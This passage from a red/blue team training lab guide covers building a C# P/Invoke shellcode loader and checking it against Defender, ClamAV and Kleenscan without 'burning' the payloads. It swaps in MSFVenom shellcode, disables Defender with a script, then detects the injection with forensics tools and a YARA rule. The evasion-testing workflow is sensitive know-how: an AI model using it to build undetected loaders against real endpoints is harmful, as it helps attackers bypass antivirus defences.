No detections from Defender nor ClamAV, which was expected - there is no malicious payload in the binary - nor is this a known file so it hasn't been signatured (DO NOT UPLOAD THIS TO VIRUS TOTAL, ANY ONLINE SANDBOXES OR WITH SAMPLE SUBMISSION TO MICROSOFT)

Here's a screenshot of what KLEENSCAN thinks of the loader (kleenscan is like VirusTotal, but they don't share samples/signature with other 3rd parties) - funnily Kleenscan says Defender detects it, we we clearly see it's not the case here (not sure why that happens...). In any case just 6 out of 36 engines detect something malicious - not bad for our first shellcode loader.

image

You can do an additional test by dropping BasicLoader.exe to C:\ or your Desktop (those locations have no Defender exclusions)

5. RUNNING THE CODE

So we know now that Defender is not detecting out custom shellcode loader, let's see if it actually also works - if you didn't copy BasicLoader.exe to your Desktop, then do so now.

  • Simple double click on BasicLoader.exe on your Desktop..

image

It works, but we do see a command prompt that pops up stays open until we click on the "OK" button. Not ideal for stealth but we will deal with that later on!


6. LOADER CODE EXPLANATION

Before we continue, let's go through this BasicLoader code step by step:

6.1 - Synopsis of imported libraries

image

The provided C# code snippet is the starting portion of a program designed to handle shellcode, likely for low-level system interactions. Below is a concise explanation of each component:

  • using System;: Imports the core C# library for basic functionality, such as handling text, numbers, and input/output operations.
  • using System.Runtime.InteropServices;: Imports a library that enables interaction with external system components, such as operating system functions or low-level code (DLLImport for C functions), commonly used for executing shellcode.
  • namespace ShellcodePayload: Defines a namespace to organize the code, preventing naming conflicts and grouping related functionality under the name ShellcodePayload.
  • class Payload: Declares a class named Payload, serving as a blueprint for organizing data and methods related to shellcode execution.

6.2 - Synopsis of C# Windows API Imports (PINVOKE)

https://pinvoke.net/

https://github.com/TheWover/DInvoke

image

The provided C# code snippet declares Windows API functions using DllImport attributes within the System.Runtime.InteropServices namespace, enabling interaction with the Windows operating system for low-level memory and thread management, typical for executing shellcode. Below is a concise explanation of each function:

  • GetCurrentProcess: Retrieves a handle to the current process, used for operations like writing to the process's memory.
  • VirtualAlloc: Allocates memory in the virtual address space of the calling process, specifying the starting address, size, allocation type, and protection settings. Returns a pointer to the allocated memory.
  • WriteProcessMemory: Writes data to a specified memory area in a process, taking the process handle, base address, data buffer, size, and an output for bytes written. Includes error handling via SetLastError.
  • CreateThread: Creates a new thread in the calling process, defining its attributes, stack size, starting address, parameters, creation flags, and thread ID. Returns a handle to the new thread.
  • WaitForSingleObject: Waits for a specified object (e.g., a thread) to reach a signaled state or until a timeout occurs, taking the object handle and wait time as parameters. Returns the wait result.

These declarations enable a C# program to manage memory allocation, thread creation, and execution.

6.3 - Synopsis of C# Main Method and Shellcode Declaration

image

The provided C# code snippet is the starting point of a program designed to execute shellcode, defining the entry point and initializing the shellcode data. Below is a concise explanation of each component:

  • static void Main(): Defines the program's entry point, where execution begins. It serves as the main function that triggers all subsequent operations, such as memory allocation and thread creation for shellcode execution.
  • byte[] shellCode = { 0x57, 0x31, 0xc0, 0xb9, 0x0a, 0x00, ... };: Declares an array of bytes to hold the shellcode, a sequence of low-level machine instructions. In our case this is the shellcode we extracted with Clematis from our benign DialogBox.exe - it's stored in clear-text in this array.

This snippet sets up the foundation for a C# program to run shellcode, initializing the main execution flow and preparing the shellcode data for low-level system operations.

6.4 - Synopsis of C# Shellcode Memory Allocation, Injection, and Execution

image

The provided C# code snippet is part of a program that allocates memory, injects shellcode, executes it in a new thread, and waits for completion, using Windows API functions for low-level system operations. Below is a concise explanation of each section:

  • Memory Allocation (VirtualAlloc): Allocates memory for the shellcode using VirtualAlloc with MEM_COMMIT (0x1000) to reserve and commit memory and PAGE_EXECUTE_READWRITE (0x40) to set read, write, and execute permissions. The funcAddr variable holds the address of the allocated memory, sized to fit the shellCode array.
  • Shellcode Injection (WriteProcessMemory): Writes the shellCode array into the allocated memory using WriteProcessMemory. It uses the current process handle (GetCurrentProcess), the allocated memory address (funcAddr), and tracks bytes written (bytesWritten), with result indicating success or failure.
  • Thread Creation (CreateThread): Creates a new thread to execute the shellcode at funcAddr using CreateThread, with default attributes and stack size. The threadId stores the new thread’s ID, and hThread holds the thread handle.
  • Thread Synchronization (WaitForSingleObject): Waits indefinitely for the thread to finish using WaitForSingleObject, with hThread as the thread handle and 0xFFFFFFFF as an infinite timeout.

This code enables a C# program to prepare, inject, and execute shellcode in a dedicated memory region, then wait for the execution to complete.

6.5 - Behavioral checks:

There are a few ways to verify what this code is doing on runtime, you could use a debugger (i.e. IDA or X64dbg) - but we won't go that deep

LAB WORKING DIRECTORY: "C:\THEV\Labs\Lab_BasicLoader"
                        ├── API_mon_filter.xml
                        └── BasicLoaderVERBOSE.exe

We have provided you with a slightly modified BasicLoader (BasicLoaderVERBOSE.exe) that doing exactly the same things but it is more verbose, it outputs each stage to the screen and has "press any key to continue..." between each function that is called - this will make it easier to analyze.

  • Open a command prompt as `Administrator and run BasicLoaderVERBOSE.exe:
cd \thev\labs\Lab_BasicLoader
BasicLoaderVERBOSE.exe

Just go through the steps, the loader will print all information to the screen (Shellcode array, ProcessName, PID, and so on).

PRINTING THE EMBEDDED SHELLCODE ARRAY, PROCESSNAME AND PID

image

ALLOCATING MEMORY IN THE PROCESS WITH VIRTUALALLOC

image

WRITING THE SHELLCODE TO THE ALLOCATED MEMORY WITH WRITEPROCESSMEMORY

image

EXECUTING THE THREAD TO THE SHELLCODE IN MEMORY WITH CREATETHREAD

image

So let's have a look if we can see what happens on OS level when we run our loader - the following process is what is typically done by reverse engineers when they perform Forensics on a potential malicious file.

LAB WORKING DIRECTORY: "C:\THEV\Labs\Lab_BasicLoader"
                        ├── API_mon_filter.xml
                        └── BasicLoader.exe

API Monitor

We'll use API monitor to have a look if we see our functions being called - now keep in mind a .Net binary will initalize the CLR and do a whole lot of memory allocations with RW permissions (VirtualAlloc), we're not interested in those - they are just what .Net needs to do for JIT compilation, compiling the code from MSIL (remember .Net binaries are partly compiled and the the code in them is in MSIL) to machine code at runtime and writing those functions to the memory locations it has dynamically reserved. In order for the code to be run, it needs to set the permission (VirtualProtect) of those memory allocations to (RX) or even (RWX).

  • Open API Monitor as Administrator and load API_mon_filter.xml - this is a pre-configured function filter that looks for (GetCurrentProcess, VirtualAlloc , WriteProcessMemory and CreateThread).

image

image

image

IMPORTANT: Don't close the messagebox (do not click "OK"), just leave it running - we'll need it to inspect the memory after we're done with API Monitor.

We'll now see all the functions that have been called, let's find ours - as VirtualAlloc will be all over the place, it's best to start looking for WriteProcessMemory or CreateThread to find where our code actually is starting and look around those entries.

image

Observations

NOTE : The line numbers and memory addresses will probably be different when you execute your loader, but line numbers will be close (at the end of the output of API Monitor), the shellcode base address might be somewhere completely different

  • Line 222 : VirtualAlloc with our shellcode length (24967 bytes), and RWX permission.

image

  • Line 231 : WriteProcessMemory to the memory space allocated by VirtualProtect - this is done by using GetCurrentProcess which gets a handle on our process (BasicLoader.exe) and then writing it to the location of the allocated memory (funcAddr).
    • LpBaseAddress (funcAddr in our code) = 0x00000137e57b0000
    • Our shellcode starts with "57 31 c0 b9 0a" - which we can verify in our code to be a match.

image

image

image

  • Line 236 : CreateThread starts a new thread (executes the code) in the memory location of the LpStartAddress (funcAddr in our code) which is 0x00000137e57b0000 - will be different on your machine.

image

OK, so that all makes sense - let's have another look with SYSTEM INFORMER, another way of looking at running process:

  • Open System Informer as Administrator, under the Processes tab look for BasicLoader.exe (since we started it with apimonitor-x64.exe it will show as a child process of API Monitor), right-click and select properties.

image

  • Navigate to the Memory tab and let's see in the process memory of our BasicLoader if we can find our shellcode at the address we found in API Monitor above (0x00000137e57b0000 - will be different on your machine).

image

There it is - the screenshot below shows everything our loader did, confirming what we saw in API Monitor.

image

  • Base Address : Address in memory where our shellcode is located (0x00000137e57b0000 - will be different on your machine)
  • Private : The memory allocated can be used only by the owner process and cannot be shared between processes. Allocated by VirtualAlloc, indicates that this memory is private to the process and not shared with other processes.
  • Commit : Means the memory has been allocated and is ready for use. Committed memory is physically backed by RAM or the page file, as opposed to reserved memory, which is only set aside but not yet assigned physical storage.
  • Protection : PAGE_EXECUTE_READWRITE (RWX), 0x40.
  • Use : The shellcode was injected (reflectively loaded) into memory at runtime using WriteProcessMemory and executed without being loaded from a traditional file on disk. It’s not backed by a file or system-wide resource.
  • Size : The total size of the memory region allocated at the base address. Here, 28 KB (kilobytes) is the amount of virtual memory reserved and committed for this block. This includes the shellcode size (25,956 bytes) plus some padding or page alignment. The 28 KB allocation is because VirtualAlloc uses 4 KB chunks to reserve and commit memory, rounding up the 25,956-byte shellcode size to the nearest multiple of 4 KB (7 pages = 28 KB). The extra space is padding to align the memory region, which is standard behavior in Windows. This ensures the entire shellcode fits within committed pages, with the remainder unused but reserved.

NOTE : A private commit typically means the shellcode was injected (reflectively loaded) into memory at runtime, and not backed by a file on disk or system-wide resource. An image commit occurs when memory is allocated and committed to load a file (i.e. an executable .exe or dynamic link library .dll) from disk into the process's address space. This is the standard method for loading program code or libraries, where the operating system maps the file into memory using mechanisms like the Portable Executable (PE) loader. The "Use" field might show "Image" in such cases, and a file path could be associated with the memory region.

As a final step, let's check the thread to 0x00000137e57b0000 (will be different on your machine) base address.

  • Navigate to the "Threads" tab and let's see if we find the thread we created to the code in 0x00000137e57b0000 (will be different on your machine).

image

So how are we really sure this is our shellcode? Let's have a look inside.

  • Go back to the memory module Right-click on the memory location and select Read/Write memory...

image

image

You can again see the shellcode starts with "57 31 c0 b9 0a" - which we can verify in our code to be a match.

  • Scroll to the end of the shellcode and you'll see the text box strings:

image

Now we can even dump this clear-text shellcode back to disk (even if it was encrypted in our shellcode loader, which it wasn't), in memory it will always be in clear-text, otherwise in can't execute (unless you're dealing with advanced in-memory encryption sleep techniques like EKKO, Foliage etc...).

  • Click on save as and save the file to C:\THEV\Labs\Lab_BasicLoader, it will give it a name like this : BasicLoader.exe_0x137e57b0000-0x7000.bin. The name of this file will be different on your machine as it's using the memory region it has dumped as part of its filename.

Remember the file size on disk was 25,956 bytes, while in memory it was 28kb - let's compare both files to see what changed. We will use 010 Hex editor a super cool HEX editor that can do tons of tricks, add this to your malware analysis arsenal as you'll need a good HEX editor!

https://www.sweetscape.com/010editor/

  • Open 010 HEX Editor as Administrator and go to Tools - Compare and select your memory dump (BasicLoader.exe_0x0000.bin or whatever it's called) and compare it with the raw shellcode we generated in the previous lab by Clematis - "clematis_shellcode.raw" located in C:\THEV\Labs\Lab_BasicLoader.

image

image

image

NOTE: We just showed you this to demonstrate how you can extract clear-text shellcode from a running process, so it can be analyzed by a forensics expert. Typically reverse engineers will the debug this with IDA/X64dbg or any other debugging tools. If the injected memory contains a PE-File (i.e. and EXE or DLL), we can even run static analysis tools like PE-Studio and others on it.

AN ADVANTAGE OF CODING IN .NET?

The legitimate behavior of the .NET Common Language Runtime (CLR) during initialization and Just-In-Time (JIT) compilation can make it more challenging for Endpoint Detection and Response (EDR) tools to detect malicious process injection techniques that rely on similar API patterns, such as VirtualAlloc with RWX (Read-Write-Execute) permissions, WriteProcessMemory (or equivalents like NtWriteVirtualMemory), and CreateThread.

VirtualAlloc with RWX: The .NET CLR frequently allocates memory regions with PAGE_EXECUTE_READWRITE (RWX) permissions to support JIT compilation. This process involves dynamically generating machine code from Intermediate Language (IL) at runtime, which requires memory that's writable (to insert the compiled code) and executable (to run it). Calls like VirtualAlloc(NULL, 24967, MEM_COMMIT, PAGE_EXECUTE_READWRITE), which is a standard CLR operation for preparing executable code buffers. Malicious injections often use the same RWX allocation to stage shellcode, creating an overlap that can lead to false positives or evasion opportunities.

WriteProcessMemory/NtWriteVirtualMemory: After allocation, the CLR writes the JIT-compiled code into these RWX regions using APIs like NtWriteVirtualMemory. This mirrors how attackers write malicious payloads into target processes during injection attacks.

CreateThread: The CLR creates threads to execute this JIT-compiled code or manage runtime tasks (e.g., garbage collection), where CreateThread points to the RWX memory address. Attackers similarly use CreateThread (or ResumeThread) to start execution of injected code.

These steps — Allocate (RWX) → Write → Execute (via thread creation) — are a classic "injection chain" that EDR tools monitor closely. Since .NET executables perform them legitimately and frequently (especially during startup or when loading assemblies), it blurs the line between benign and malicious activity.

Lab - Incident Response

How do I recover files or memory dumps remotely (VELOCIRAPTOR)

SIDETRACK: When an incident happpens, or one of your endpoint security solutions (EDR. AV, ... ) detects suspicious activity, how can we recover files or memory dumps remotely? Obviously we don't always have physical access to the machine in question. Most EDR solutions will allow you to initiate a remote memory dump or file recovery process, run scripts or commands remotely on the endpoint. But what if you don't have an EDR solution, or it doesn't have this capability?

  • Fetch files, logs and other artifacts from the victim machine
  • run scripts (powershell/cmd)
  • memory dump of a process
  • Get-InjectedThread.ps1 (dec to hex)
  • procdump + hex editor or custom tool (MemMumper)
  • sclauncher/speakeasy

Velociraptor provides an interface to interact with the client’s filesystem which we call the Virtual File System or VFS. The VFS GUI (1) is a convenient tool to interactively inspect the client’s filesystem and fetch files if necessary.

Although it may look somewhat like a live view of the client’s filesystem, the VFS is actually a server-side cache of the file and directory listings that are run the endpoint via Velociraptor artifacts. As you navigate and perform actions in the VFS view, the server is scheduling artifacts to run on the client in the background. All VFS actions either read data from the cache or result in artifacts being run on the endpoint.

  • Open your chrome browser and navigate to https://kali:8889/app/index.html#/ and login with your credentials (Threatadmin/Threathunt25). You should see the Velociraptor GUI.

image

The VFS consists of a tree view in the left pane and a file listing in the top right pane. The tree view allows us to navigate through the filesystem, starting at the top level. Remember that the GUI is simply viewing data that was previously collected from the client. When clicking on a directory in the tree view that has not been synced from the client yet, the top right pane shows the message "No data available. Refresh directory from client by clicking above.."

Clicking on the refresh directory button (2) will initiate a directory listing operation on the client, and providing the client is currently connected, will refresh the VFS view. Similarly the recursive refresh directory button will recursively refresh the directory listing from the current directory down.

image

  • When you are on the C-drive, click on the refresh button again, then navigate to the THEV directory and click on the recursive refresh button (just next to the refresh button). This will sync the listing all the files and folders under THEV to your Velociraptor GUI, we can now navigate further to Labs -> Lab_basicloader.

image

  • You can change the amount of lines per page to 100 like this:

image

If you need to download many files, it might be easier to hide the Stats pane (bottom right pane) by clicking the Stats Toggle button (3) and initiating the download by right-clicking (4) the cell in the Download column of the listing.

image

Clicking on any of the files in the directory listing, will show their properties in the bottom right pane. In particular, listing the directory only populates file metadata, such as timestamps - it does not fetch the file data. In the Stats tab (bottom right pane) we can initiate a download operation from the endpoint by clicking the Collect from the client button (5).

  • Let's collect our "basicLoader.exe" file from C:\THEV\Labs\Lab_BasicLoader, in VFS select the "basicLoader.exe" file and click the Collect/Re-Collect from the client button and then Download.

We have now recovered the file from the endpoint to our Velociraptor server. The downloaded files are stored in the Velociraptor server and can now be analyzed further. Let's continue to the next section where we will analyze the file using some forensics tools.

Lab - Forensics

BASICLOADER IOC's

LAB WORKING DIRECTORY: "C:\THEV\Labs\Lab_BasicLoader"
                        ├── API_mon_filter.xml
                        └── BasicLoader.exe

In this lab we will show you how to analyze the BasicLoader.exe we created in the previous lab (Lab - PInvoke Loader) using various static analysis tools to extract IOC's (Indicators of Compromise) such as imported functions and strings.

USING dnSPY/dotpeek

DnSpy and dotpeek are great tools to decompile .NET applications, you can find both tools here:

dnSPy: dnSpy

  • let's open our BasicLoader.exe (located in C:\THEV\Labs\Lab_BasicLoader\BasicLoader.exe) in dnSpy:

image

image

USING PEStudio

There are plenty of tools that allow you to statically analyze a PE file (PE-Bear, CFF Explorer, ...), let's start with PEStudio:

PEStudio: https://www.winitor.com/

  • Simply drag and drop the BasicLoader.exe (C:\THEV\Labs\Lab_BasicLoader\BasicLoader.exe) onto the PEStudio shortcut on your desktop.

You will see the IMPORTS section showing the imported functions (IAT - Import Address Table):

image

And when you scroll down you will see the STRINGS section showing all the strings we used in our BasicLoader, if you sort on the Flag column you will see the suspicious strings we used:

image

USING STRINGS64 (Sysinternals)

We can also use the Sysinternals Strings64 tool to extract strings from our BasicLoader.exe:

Sysinternals Suite: https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite

  • Open a command prompt and run the following command:
cd c:\thev\labs\lab_basicloader
strings64.exe BasicLoader.exe | FINDSTR /C:createthread /C:virtualalloc /C:writeprocessmemory /C:crimsoncore /C:"successful execution :)" /C:"shell" /I /R

image

USING FLOSS (Mandiant)

FLARE Obfuscated String Solver (FLOSS, formerly FireEye Labs Obfuscated String Solver) uses advanced static analysis techniques to automatically extract and deobfuscate all strings from malware binaries.

Floss: https://github.com/mandiant/flare-floss

  • Open a command prompt and run the following command:
cd c:\thev\labs\lab_basicloader
floss.exe BasicLoader.exe | FINDSTR /C:createthread /C:virtualalloc /C:writeprocessmemory /C:crimsoncore /C:"successful execution :)" /C:"shell" /I /R

image

USING CAPA (Mandiant)

CAPA detects capabilities in executable files. You run it against a PE, ELF, .NET module, shellcode file, or a sandbox report and it tells you what it thinks the program can do. For example, it might suggest that the file is a backdoor, is capable of installing services, or relies on HTTP to communicate.

CAPA: https://github.com/mandiant/capa

  • Open a command prompt and run capa on our BasicLoader.exe to check for static analysis detections:
cd c:\thev\labs\lab_basicloader
capa Basicloader.exe

image

We can also use Capa Web Explorer, we first have to generate a capa json file:

capa.exe -j BasicLoader.exe -vv > caparesult.json

image

  • Then navigate to C:\THEV\sysinternals\index.html (open the index.html in your Chrome browser) and upload the caparesult.json file located in C:\THEV\Labs\Lab_BasicLoader\caparesult.json.

image

You now have the results in a more user friendly format:

image

image

USING Litterbox (Static/Dynamic)

We have pre-installed Litterbox in C:\THEV\Litterbox. Litterbox is a malware analysis platform that provides both static and dynamic analysis capabilities. It leverages various open-source tools to analyze uploaded executables and generate detailed reports. You will need to start the Litterbox server first:

Litterbox: https://github.com/BlackSnufkin/LitterBox

  • Open a command prompt and run the following commands:
cd c:\thev\litterbox
python litterbox.py
  • Then open Chrome and surf to http://127.0.0.1:1337 - this will open the Litterbox web interface. Upload your compiled BasicLoader.exe and select Static Analysis.

image

After 30-60 seconds you should see the analysis results overview. We can see various details about the uploaded executable, including its sections, imports, and potential indicators of compromise (IOCs).

image

When we go to the details of the Yara detections we can see the specific patterns that were matched against the uploaded executable. In this case it's just the strings of our functions.

image

You can have a look at the specific Yara rules that were triggered by the uploaded executable. You can find the location in the *Target Information section

image

The report will be saved in the Results Summary section of the Litterbox web interface.

image

LAB - PHASE 2: Using malicious payloads - "MSFVenom Dialogbox Shellcode"

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

This part of the lab will be a lot shorter, don't worry; we're simply going to swap out our benign DialogBox shellcode with the DialogBox created with MSFVenom.

StepActionDescription
1.Use extracted shellcode (malicious dialogbox)Modify our loader to use a MSFVenom dialogbox shellcode
2.Build codeCompile our code
3.Gocheck / ClamAV / KleenscanCheck if our loader flags any signatures (detected?)
4.Run codeSee if it actually works
5.Turn Defender OFFSee if it actually works with Defender turned OFF
6.Run codeSee if we get a messagebox if AV is disabled.

OVERVIEW SOURCE CODE

SOURCE CODE LOCATION: "C:\THEV\Labs\BasicLoaderMSF\BasicLoaderMSF.sln"
                        └── BasicLoaderMSF.cs   ->   Our main program

LAB WORKING DIRECTORY: "C:\THEV\Labs\Lab_BasicLoader"
                        └── msf_msgbox.cs

LAB SOLUTION: "C:\THEV\Labs\Lab_BasicLoader\SOLUTION" -> In case you get stuck,
this has all the proper code, shellcode and binaries.

1. Use MSFVenom dialogbox payload (malicious)

In the previous lab we create a shellcode with MSFVenom - it's located in : "C:\THEV\Labs\Lab_BasicLoader\msf_msgbox.cs".

  • Open msf_msgbox.cs with Visual Studio CODE or another text editor. We prefer CODE.

Make sure to copy only the hex values between the curly brackets { }, so just the hex values 0xfc,0x48,0x81,0xe4, ...

  • Open Visual Studio 2019 and open C:\THEV\Labs\BasicLoaderMSF\BasicLoaderMSF.sln, select BasicLoaderMSF.cs on the right side in Solution Explorer.

  • Make sure the Build is set to Release and x64:

  • Let's paste the shellcode from msf_msgbox.cs (Our malicious MSFVenom messagebox shellcode) into your basic loader template.

Your code should look like this, pay attention that your shellcode array ("byte[] shellCode = { INSERT YOUR SHELLCODE HERE };" looks like the screenshots below - starts with { and ends with }; - don't forget the semi-colon ; at the end of the line.

image

image

2. Compile our new loader

  • Save the file and compile the code.

image

image

image

The location of your compiled loader will be C:\THEV\Labs\BasicLoaderMSF\BasicLoaderMSF\bin\x64\Release\BasicLoaderMSF.exe.

image

3. GOCHECK, CLAMAV AND KLEENSCAN

Let's see what some AV scanners think of our shellcode loader.

We're going to copy C:\THEV\Labs\BasicLoaderMSF\BasicLoaderMSF\bin\x64\Release\BasicLoaderMSF.exe to C:\THEV\Labs\Lab_BasicLoader\BasicLoaderMSF.exe and run GoCheck on your loader to see if Defender has any signatures for this custom loader.

  • Open a command prompt as Administrator:
copy C:\THEV\Labs\BasicLoaderMSF\BasicLoaderMSF\bin\x64\Release\BasicLoaderMSF.exe C:\THEV\Labs\Lab_BasicLoader\BasicLoaderMSF.exe

IMPORTANT: Run Gocheck64.exe from a command prompt - if you run it with powershell, AMSI might will detect it :). Make sure the directory GoCheck64.exe is in is put in an exclusion folder, as well as the C:\Temp directory (this is where it saves temporary files)> We have done this already for you.

cd C:\THEV\Labs\Lab_BasicLoader\
Gocheck64.exe BasicLoaderMSF.exe --defender

image

We also installed ClamAV on your windows machine, let's scan our loader with that as well, from the same command prompt:

clamscan.exe BasicLoaderMSF.exe --verbose --disable-cache

image

We can see Defender is detecting it now but ClamAV isn't, so it seems ClamAV doesn't have a signature for this messagebox payload. Defender is actually detecting it as a Meterpreter payload, which it isn't. (DO NOT UPLOAD THIS TO VIRUS TOTAL, ANY ONLINE SANDBOXES OR WITH SAMPLE SUBMISSION TO MICROSOFT)

Here's a screenshot of what KLEENSCAN thinks of the loader (kleenscan is like VirusTotal, but they don't share samples/signature with other 3rd parties) - funnily Kleenscan says Defender detects it, we we clearly see it's not the case here (not sure why that happens...). In any case just 8 out of 36 engines detect something malicious - We can also see Defender is no longer detecting it as Wacatac.B!ML (which is a False Positive), but a a Meterpreter payload, some vendors that detected the loader before now don't detect it anymore and some new ones (GData, Nod32, Emisoft) do.

image

https://kleenscan.com/scan_result/350e7a0198e4e89ec3f2a17a2440a69400fb26b40591fac606318b0fef164dae

You can do an additional test by dropping BasicLoaderMSF.exe to C:\ or your Desktop (those locations have no Defender exclusions)

4. RUNNING THE CODE

So we know now that Defender is detecting our custom shellcode loader, let's see if it actually also does - if you didn't copy BasicLoaderMSF.exe to your Desktop, then do so now.

Copy your compiled BasicLoaderMSF.exe on the desktop and try to run it - defender will catch and block it, before you can even run it.

image image

5. Turn Defender OFF

IMPORTANT : Make sure Windows Defender is turned OFF!!!

Check if Defender is turned OFF (it shouldn't be - since we enabled it earlier) by running the checkav.ps1 script:

  • Open a powershell prompt as Administrator:
c:\thev\labs\powershell\av_check.ps1

image

  • If Defender is turned ON - run the following script to turn it OFF:
c:\thev\labs\powershell\av_disable.ps1

image

6. Run your code again (now with defender off)

Copy your compiled BasicLoaderMSF.exe again on the desktop and run it, this time - with Defender turned OFF - it should work - so we know that Defender is actually triggering on a signature from the MSFVenom payload generator - EVEN FOR A MESSAGEBOX :)

image

With this labs we have seen how AV's can easily detect known payloads, even when used in custom loaders. In the next lab we will try to make our loader more modular, so we can swap out payloads more easily.

Lab - Forensics

Finding Process Injection and extracting shellcode from running processes

LAB WORKING DIRECTORY: "C:\THEV\Labs\Lab_BasicLoader"
                        ├── Get-InjectedThreadEx.exe (Elastic Security)
                        ├── MemDumperDynamic.exe (Courtesy of Vanguard Security)
                        ├── SCLauncher64.exe
                        └── BasicLoaderMSF.exe

Let's say we have reason to believe that our BasicLoaderMSF.exe is running in memory on a target system, and we want to investigate further to confirm the process injection and potentially extract the shellcode for analysis. Or maybe we had an alert from our EDR solution indicating suspicious activity related to process injection. How do we proceed?

image

IMPORTANT NOTE: before running get-injectedthreadex.exe, open System Informer and kill the process VBCSCompiler.exe - otherwise Get-injectedthreadex.exe will not work properly and will not be able to identify the injected thread. Why does this happen? No clue.

image

  • right-click on the process and select Kill Process to terminate it.

1. Identifying the Injected Process

Using Get-InjectedThreadEx (Elastic Security) We have downloaded the Get-InjectedThreadEx.exe tool from Elastic Security's GitHub repository (https://github.com/jdu2600/Get-InjectedThreadEx). This tool is designed to identify injected threads in running processes.

  • Open a command prompt with administrative privileges and navigate to the lab working directory:
cd C:\THEV\Labs\Lab_BasicLoader
  • Run the Get-InjectedThreadEx tool:
Get-InjectedThreadEx.exe

The tool will scan running processes and identify any injected threads. Look for entries that indicate injection, such as those associated with our BasicLoaderMSF.exe process.

It shows us the:

  • Process ID (PID) of the injected process : 8292 (will be different on your system)

  • The name of the process ; BasicLoaderMSF.exe

  • The memory address where the injection occurred : 0x2ec2c8600000 (will be different on your system)

  • The thread ID of the injected thread : 12248 (will be different on your system)

  • Let's verify if these results align with our BasicLoaderMSF.exe process, by opening System Informer.

image

You will see BasicLoaderMSF.exe with the corresponding PID (8292).

  • Right-click on the process and select Properties,

image

  • then navigate to the Memory tab. Look for the memory address (0x2ec2c8600000) identified by Get-InjectedThreadEx.

image

You will clearly see a memory region with MEM_COMMIT (private:commit) state and PAGE_EXECUTE_READWRITE (RWX) protection, indicating that this memory region is likely where the shellcode was injected.

  • Right click on this memory region and select read/write memory...

image

  • And have a look at the contents of that memory region - that's our MSFVenom dialog box shellcode, we can also dump this memory region to a file, in System Informer by clicking on the Save button.

image

We can verify this further by checking the thread ID (12248) identified by Get-InjectedThreadEx.

  • Right-click on the process and select Properties, then navigate to the Threads tab. Look for the thread ID (12248) identified by Get-InjectedThreadEx.

    • The memory address where the injection occurred.
    • The thread ID of the injected thread.

image

2.Carving the shellcode from process memory

Now that we have identified the injected process and the memory region where the shellcode resides, we can proceed to extract the shellcode for further analysis. There are a lot of tools like procdump, volatility, etc. but we will use MemDumperDynamic.exe from Vanguard Security for this lab. Most of these tools dump the entire process, but MemDumperDynamic allows us to dump specific memory regions, it why we created it.

  • Open a command prompt with administrative privileges and navigate to the lab working directory:

Make sure to replace the Process ID and Memory Address with the values specific to your environment, as they may differ from the example provided here.

cd C:\THEV\Labs\Lab_BasicLoader
MemDumperDynamic.exe 8792 0x2ec2c8600000

image

3. Running the extracted shellcode

We'll use SCLauncher64.exe to run the extracted shellcode.

Make sure to replace the Filename (extracted_memory...) with the values specific to your environment, as they will differ from the example provided here.

cd C:\THEV\Labs\Lab_BasicLoader
SCLauncher64.exe -f="extracted_memory_pid8792_0x2EC2C860000.bin

image

4. IOC's and Yara rules for Process Injection

As always, it's crucial to understand how such techniques can be detected and what indicators of compromise (IOCs) they may leave behind. Here are some simple IOC's associated with process injection:

  • VirtualAlloc with RWX permissions
  • WriteProcessMemory
  • marshal.copy (alternative for WriteProcessMemory in .NET)
  • CreateThread
  • shellcode (used in our BasicLoaderMSF.exe - but often used in shellcode loaders)
  • byte[] buf = (often used in shellcode loaders, typical for MSFVenom generated shellcode in C#)

YARA Rule:

Below is an example how can can use YARA to detect suspicious use of remote memory allocation and injection APIs commonly associated with process injection techniques - we can scan PE files or running processes with this rule.

Note: If you want case-insensitive matching for the API names, you can add the nocase modifier to the respective string definitions. When scanning PE files, you might want to uncomment the PE file check in the condition section. This is a basic example and may need to be adjusted based on specific requirements and environments

rule Suspicious_Shellcode_Injection
{
    meta:
        author = "Luk Schoonaert / Vanguard Security"
        description = "Detects suspicious use of remote memory allocation and injection APIs"

    strings:
        $api1 = "VirtualAlloc" wide ascii
        $api2 = "WriteProcessMemory" wide ascii
        $api3 = "CreateThread" wide ascii
        $api4 = "marshal.copy" wide ascii
        $string1 = "shellcode" wide ascii nocase
        $string2 = "byte[] buf =" wide ascii nocase

    condition:
        // uint16(0) == 0x5A4D and // PE file
        ($api1 and $api2) and ($api3 or $api4) and 1 of ($string1, $string2)
}

Let's use YaraXGUI.exe to scan our BasicLoaderMSF.exe with this rule.

You can find YaraXGUI.exe under "C:\THEV\SysinternalsSuite\YaraXGUI.exe", or simply open a command prompt and run YaraXGUI.exe.

  1. Load your YARA rule in YaraXGUI, located in "C:\THEV\Labs\Lab_BasicLoader\solution\Suspicious_Shellcode_Injection.yar"
  2. Select your target binary (directory) to scan, located in "C:\THEV\Labs\BasicLoaderMSF\BasicLoaderMSF\bin\x64\Release\BasicLoaderMSF.exe"
  3. Compile the rule (you can make changes to the rule in the GUI, so make sure to compile it again if you do so)
  4. Click on Scan
  5. Click on the Analysis results tab to see the results
  6. What's nice here is that it shows you the matched strings as well.

image

We can also use yara64.exe from a command prompt to scan our BasicLoaderMSF.exe with this rule.

cd C:\THEV\Labs\Lab_BasicLoader\solution
yara64.exe -r Suspicious_Shellcode_Injection.yar C:\THEV\Labs\BasicLoaderMSF\BasicLoaderMSF\bin\x64\Release\BasicLoaderMSF.exe

image

Additionally we can scan running processes with this rule using yara64.exe using the Process ID (PID).

  • If your message box is still open from running the shellcode, you can use that PID, otherwise re-run the BasicLoaderMSF.exe to get a new PID. You can check the PID in Task Manager or System Informer.

image

Once you have found the PID of the running BasicLoaderMSF.exe process, you can use it to scan the process memory with YARA:

  • In the same command prompt, run the following command, replacing <Enter_PID_here> with the actual PID of the BasicLoaderMSF.exe process (in the screenshot below it's 9552, but it will be different on your system):
cd C:\THEV\Labs\Lab_BasicLoader\solution
yara64.exe -r Suspicious_Shellcode_Injection.yar <Enter_PID_here>

image

Note: Velociraptor can also be used to scan running processes with YARA rules, which is a great way to hunt for process injection across multiple systems in your environment.

Congratulations, you have completed the Lab - Forensics of the P/Invoke Loader - Phase 2! 🎉

Lab - Basic Loader

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

LAB PHASE 3 - MODULARITY

